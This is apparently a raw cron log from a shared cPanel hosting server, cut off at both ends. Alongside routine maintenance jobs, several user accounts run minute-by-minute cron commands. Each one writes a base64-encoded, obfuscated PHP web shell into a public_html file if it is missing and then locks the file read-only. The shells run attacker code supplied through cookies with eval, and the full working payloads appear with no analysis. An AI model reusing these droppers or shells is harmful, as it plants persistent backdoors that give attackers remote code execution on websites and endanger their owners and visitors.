"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:22:01 medusa CROND[16128]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:22:01 medusa CROND[16124]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:22:01 medusa CROND[16129]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:22:01 medusa CROND[16131]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:23:01 medusa CROND[17782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:23:01 medusa CROND[17785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:23:01 medusa CROND[17786]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:23:01 medusa CROND[17787]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:23:01 medusa CROND[17788]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:23:01 medusa CROND[17789]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:23:01 medusa CROND[17790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:23:01 medusa CROND[17791]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:23:01 medusa CROND[17792]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:23:01 medusa CROND[17794]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:23:01 medusa CROND[17795]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:23:01 medusa CROND[17808]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:24:01 medusa CROND[19439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:24:02 medusa CROND[19447]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:24:02 medusa CROND[19446]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:24:02 medusa CROND[19448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:24:02 medusa CROND[19449]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:24:02 medusa CROND[19450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:24:02 medusa CROND[19451]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:24:02 medusa CROND[19452]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:24:02 medusa CROND[19456]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:24:02 medusa CROND[19462]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:24:02 medusa CROND[19461]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:24:02 medusa CROND[19464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:24:02 medusa CROND[19469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ